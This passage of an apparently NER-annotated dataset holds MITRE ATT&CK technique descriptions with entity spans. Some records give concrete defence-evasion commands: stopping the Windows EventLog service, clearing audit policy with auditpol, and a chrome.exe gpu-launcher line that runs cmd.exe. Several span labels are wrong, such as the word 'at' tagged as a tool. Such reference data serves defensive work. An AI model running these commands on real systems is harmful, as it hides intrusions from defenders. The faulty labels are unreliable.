PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.", "spans": {"SYSTEM: Exchange": [[102, 110], [178, 186], [191, 199]], "TOOL: PowerShell": [[247, 257]], "SYSTEM: Google Workspace": [[366, 382], [443, 459], [522, 538]], "SYSTEM: Microsoft Outlook": [[407, 424], [469, 486]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1087.003"}} {"text": "Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock. \n\nAdversaries may use calls like `GetTickCount` and `GetSystemTimeAsFileTime` to discover if they are operating within a virtual machine or sandbox, or may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1497.003"}} {"text": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs and/or COM scriptlets (SCT) from remote servers. This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.", "spans": {"TOOL: CMSTP": [[22, 27], [118, 123], [209, 214], [377, 382], [473, 478], [662, 667], [729, 734]], "ORGANIZATION: Microsoft": [[70, 79], [717, 726]], "TOOL: Regsvr32": [[448, 456]], "SYSTEM: COM": [[531, 534], [866, 869]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.003"}} {"text": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.\n\nSSH Hijacking differs from use of SSH because it hijacks an existing SSH session rather than creating a new session using Valid Accounts.", "spans": {"SYSTEM: SSH": [[43, 46], [110, 113], [534, 537], [642, 645], [764, 767], [797, 800], [831, 834], [866, 869]], "SYSTEM: Linux": [[155, 160]], "SYSTEM: macOS": [[165, 170]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1563.001"}} {"text": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more. This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications. By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings. auditpol.exe may also be used to set audit policies.\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog). Additionally, the service may be disabled by modifying the “Start” value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog then restarting the system for the change to take effect.\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security, then reboot the system to disable the Security EventLog. Second, with Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System and HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application to disable the entire EventLog.\n\nAdditionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category. To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.", "spans": {"SYSTEM: Windows": [[24, 31], [109, 116], [1032, 1039], [2746, 2753]], "TOOL: WMI": [[1738, 1741], [1974, 1977], [2074, 2077]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.002"}} {"text": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel or Exfiltration Over Alternative Protocol.", "spans": {"TOOL: at": [[64, 66], [91, 93]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1029"}} {"text": "Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB, to interact with systems using remote procedure calls (RPCs), transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.", "spans": {"SYSTEM: SMB": [[103, 106], [172, 175], [301, 304], [424, 427], [809, 812], [1017, 1020]], "SYSTEM: Windows": [[233, 240], [450, 457]], "SYSTEM: Linux": [[389, 394]], "SYSTEM: macOS": [[399, 404]], "SYSTEM: Samba": [[442, 447]], "SYSTEM: Windows Management Instrumentation": [[1072, 1106]], "SYSTEM: NTLM": [[1133, 1137]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.002"}} {"text": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike Upload Malware, this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.\n\nA tool has been developed to facilitate planting backdoors in cloud container images. If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a Web Shell.", "spans": {"SYSTEM: Amazon Web Services": [[135, 154]], "SYSTEM: AWS": [[156, 159], [761, 764]], "ORGANIZATION: Amazon": [[161, 167]], "SYSTEM: Google Cloud": [[191, 203]], "SYSTEM: GCP": [[214, 217]], "SYSTEM: Azure": [[231, 236]], "SYSTEM: Docker": [[290, 296]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1525"}} {"text": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel. \n\nProtocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets. \n\nAdversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol or Service Impersonation to further conceal C2 communications and infrastructure.", "spans": {"SYSTEM: SMB": [[531, 534]], "TOOL: RDP": [[536, 539]], "SYSTEM: SSH": [[750, 753], [779, 782], [860, 863]], "SYSTEM: DNS": [[963, 966]], "SYSTEM: HTTPS": [[972, 977], [1059, 1064]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1572"}} {"text": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. \n\nMalicious Control Panel items can be delivered via Phishing campaigns or executed as part of multi-stage malware. Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.", "spans": {"SYSTEM: Windows": [[80, 87], [1144, 1151]], "SYSTEM: API": [[721, 724]], "ORGANIZATION: Microsoft": [[1134, 1143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.002"}} {"text": "Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.\n\nWhen an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \n\nAdversaries may use Patch System Image to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1599.001"}} {"text": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.", "spans": {"TOOL: PsExec": [[311, 317]], "SYSTEM: GitHub": [[772, 778], [1057, 1063]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1608.002"}} {"text": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.", "spans": {"SYSTEM: Windows": [[95, 102], [291, 298], [725, 732]], "TOOL: at": [[171, 173]], "SYSTEM: Registry": [[405, 413], [610, 618]], "SYSTEM: API": [[733, 736]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.005"}} {"text": "Adversaries may modify a process's in-memory arguments to change its name in order to appear as a legitimate or benign process. On Linux, the operating system stores command-line arguments in the process’s stack and passes them to the `main()` function as the `argv` array. The first element, `argv[0]`, typically contains the process name or path - by default, the command used to actually start the process (e.g., `cat /etc/passwd`). By default, the Linux `/proc` filesystem uses this value to represent the process name. The `/proc//cmdline` file reflects the contents of this memory, and tools like `ps` use it to display process information. Since arguments are stored in user-space memory at launch, this modification can be performed without elevated privileges. \n\nDuring runtime, adversaries can erase the memory used by all command-line arguments for a process, overwriting each argument string with null bytes. This removes evidence of how the process was originally launched. They can then write a spoofed string into the memory region previously occupied by `argv[0]` to mimic a benign command, such as `cat resolv.conf`. The new command-line string is reflected in `/proc//cmdline` and displayed by tools like `ps`.", "spans": {"SYSTEM: Linux": [[131, 136], [452, 457]], "FILEPATH: /etc/passwd`).": [[421, 435]], "FILEPATH: /proc/": [[529, 535], [1184, 1190]], "TOOL: ps": [[609, 611], [1234, 1236]], "TOOL: at": [[700, 702]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.011"}} {"text": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.", "spans": {"SYSTEM: Kerberos": [[80, 88]], "TOOL: at": [[988, 990]], "SYSTEM: Access": [[1031, 1037]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1550"}} {"text": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under Search Threat Vendor Data. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application or External Remote Services).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1597.001"}} {"text": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1011"}} {"text": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.", "spans": {"SYSTEM: SNMP": [[696, 700]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1602.002"}} {"text": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1589"}} {"text": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. Non-Standard Port).\n\nAdversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds. Settings related to enabling abuse of various Remote Services may also indirectly modify firewall rules.\n\nIn ESXi, firewall rules may be modified directly via the esxcli command line interface (e.g., via `esxcli network firewall set`) or via the vCenter user interface.", "spans": {"SYSTEM: Windows Registry": [[313, 329]], "SYSTEM: Windows": [[340, 347]], "TOOL: RDP": [[613, 616]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.004"}} {"text": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1560"}} {"text": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. \n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all ) and are identified by globally unique identifiers (GUIDs). \n\nSimilar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: \n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via DLL search order hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.", "spans": {"SYSTEM: Windows": [[183, 190]], "ORGANIZATION: Microsoft": [[362, 371], [751, 760], [1654, 1663], [2033, 2042], [2475, 2484], [3324, 3333]], "SYSTEM: API": [[509, 512], [873, 876], [932, 935]], "TOOL: PowerShell": [[1054, 1064]], "SYSTEM: Registry": [[1601, 1609], [2422, 2430], [3046, 3054], [3271, 3279], [3897, 3905]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1553.003"}} {"text": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.", "spans": {"SYSTEM: HTTP": [[341, 345]], "SYSTEM: SSL": [[360, 363]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1185"}} {"text": "Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP). They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \n\nLegitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.", "spans": {"SYSTEM: SSH": [[106, 109], [563, 566], [1147, 1150], [1350, 1353]], "TOOL: VNC": [[115, 118], [1100, 1103]], "TOOL: RDP": [[596, 599]], "SYSTEM: VMware": [[794, 800]], "ORGANIZATION: Apple": [[971, 976]], "SYSTEM: macOS": [[1001, 1006], [1299, 1304]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021"}} {"text": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1071.003"}} {"text": "Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID:\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials. In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Entra ID tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Entra ID environment as any user.", "spans": {"ORGANIZATION: Microsoft": [[434, 443], [1769, 1778]], "SYSTEM: Active Directory": [[513, 529], [668, 684], [934, 950], [954, 970], [1053, 1069]], "SYSTEM: AWS": [[1152, 1155]], "SYSTEM: GCP": [[1160, 1163]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1556.007"}} {"text": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to Gather Victim Host Information that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1595.002"}} {"text": "Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, PowerShell modules like Azure for PowerShell, or software developer kits (SDKs) available for languages such as Python. \n\nCloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.\n\nWith proper permissions (often via use of credentials such as Application Access Token and Web Session Cookie), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.", "spans": {"TOOL: PowerShell": [[340, 350], [374, 384], [887, 897]], "SYSTEM: Azure": [[364, 369], [1086, 1091]], "SYSTEM: Python": [[452, 458]], "SYSTEM: API": [[469, 472]], "SYSTEM: Access": [[735, 741]], "SYSTEM: AWS": [[1081, 1084]], "SYSTEM: GCP": [[1097, 1100]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.009"}} {"text": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1596"}} {"text": "Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams. Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS. The Chromium engine is used to display web content and Node.js runs the backend code.\n\nDue to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework. For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\system32\\cmd.exe /c calc.exe`).\n\nAdversaries may also execute malicious content by planting malicious JavaScript within Electron applications.", "spans": {"SYSTEM: Signal": [[148, 154]], "SYSTEM: Slack": [[156, 161]], "ORGANIZATION: Microsoft": [[167, 176]], "SYSTEM: GitHub": [[208, 214]], "SYSTEM: JavaScript": [[322, 332], 